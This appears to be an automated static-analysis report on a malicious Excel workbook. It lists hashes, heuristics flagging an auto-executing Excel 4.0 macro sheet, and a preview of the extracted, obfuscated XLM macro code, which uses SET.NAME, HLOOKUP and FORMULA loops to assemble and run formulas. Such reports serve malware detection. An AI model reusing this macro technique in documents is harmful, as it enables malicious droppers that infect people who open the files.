Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1155a29ff6f5b271…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:27 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: d36dd6445b1b576c9731c895b1ac75ad SHA-1: dec2b06c3e9180e4b6efd8fae5a5cee46fe88bae SHA-256: 1155a29ff6f5b271588087e0991df51753b800f75faee7e6c9ac840019c2567c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6458 bytes
SHA-256: 16c4f5b8f155560773686196b6859f2a2c6d2c84cbc144b0091cb85db29d725f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pTPLnU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A149 
' 0018     20 LABEL : Cell Value, String Constant - CkwUw len=0 
' 0018     21 LABEL : Cell Value, String Constant - dITdrv len=0 
' 0018     26 LABEL : Cell Value, String Constant - FUdykjKmAzg len=0 
' 0018     26 LABEL : Cell Value, String Constant - fvhSoGdIYal len=0 
' 0018     26 LABEL : Cell Value, String Constant - IAqUPrcOSfW len=0 
' 0018     26 LABEL : Cell Value, String Constant - iuWjjylcxOq len=0 
' 0018     23 LABEL : Cell Value, String Constant - mBYmzmAr len=0 
' 0018     20 LABEL : Cell Value, String Constant - qadzD len=0 
' 0018     22 LABEL : Cell Value, String Constant - QmuLiLw len=0 
' 0018     25 LABEL : Cell Value, String Constant - QrIyIfBNVL len=0 
' 0018     22 LABEL : Cell Value, String Constant - RvduCtJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - RWADUY len=0 
' 0018     24 LABEL : Cell Value, String Constant - sLfTykCET len=0 
' 0018     21 LABEL : Cell Value, String Constant - ThiEBT len=0 
' 0018     21 LABEL : Cell Value, String Constant - vviRBb len=0 
' 0018     27 LABEL : Cell Value, String Constant - vwoGhpYKQqGC len=0 
' 0018     26 LABEL : Cell Value, String Constant - WWKRsYPaozG len=0 
' 0018     22 LABEL : Cell Value, String Constant - xqGenhH len=0 
' 0018     20 LABEL : Cell Value, String Constant - xSkNh len=0 
' 0018     27 LABEL : Cell Value, String Constant - xSLlVswfQaWJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pTPLnU,A55,"SET.NAME("qadzD",VALUE("0"))",""
'  pTPLnU,A59,"SET.NAME("FUdykjKmAzg",qadzD)",""
'  pTPLnU,A63,"SET.NAME("CkwUw",qadzD)",""
'  pTPLnU,A68,"SET.NAME("xSkNh",COUNTA(sLfTykCET))",""
'  pTPLnU,A71,"SET.NAME("ThiEBT",COUNTA(RvduCtJ))",""
'  pTPLnU,A73,[],""
'  pTPLnU,A75,"SET.NAME("QrIyIfBNVL","")",""
'  pTPLnU,A79,"FUdykjKmAzg",""
'  pTPLnU,A83,"SET.NAME("xSLlVswfQaWJ",HLOOKUP("*",sLfTykCET,FUdykjKmAzg,FALSE))",""
'  pTPLnU,A86,"vwoGhpYKQqGC",""
'  pTPLnU,A90,"SET.NAME("iuWjjylcxOq",qadzD)",""
'  pTPLnU,A94,[],""
'  pTPLnU,A99,"iuWjjylcxOq",""
'  pTPLnU,A102,"WWKRsYPaozG",""
'  pTPLnU,A105,"mBYmzmAr",""
'  pTPLnU,A108,"fvhSoGdIYal",""
'  pTPLnU,A111,"SET.NAME("QmuLiLw",VALUE(HLOOKUP("*",RvduCtJ,fvhSoGdIYal,FALSE)))",""
'  pTPLnU,A116,"dITdrv",""
'  pTPLnU,A121,"QrIyIfBNVL",""
'  pTPLnU,A125,"CkwUw",""
'  pTPLnU,A128,NEXT(),""
'  pTPLnU,A132,"vviRBb",""
'  pTPLnU,A137,"SET.NAME("f",INT(T(FORMULA(T(QrIyIfBNVL)&"",""&T(vviRBb)))))",""
'  pTPLnU,A139,"xqGenhH",""
'  pTPLnU,A142,NEXT(),""
'  pTPLnU,A146,RETURN(),""
'  pTPLnU,A174,"SET.NAME("IAqUPrcOSfW",A55)",""
'  pTPLnU,A176,"sLfTykCET",""
'  pTPLnU,A179,"SET.NAME("RvduCtJ",R87C15)",""
'  pTPLnU,A181,"SET.NAME("xqGenhH",191)",""
'  pTPLnU,A186,"SET.NAME("RWADUY",1)",""
'  pTPLnU,A190,IAqUPrcOSfW(),""
'  pTPLnU,A191,HALT(),""

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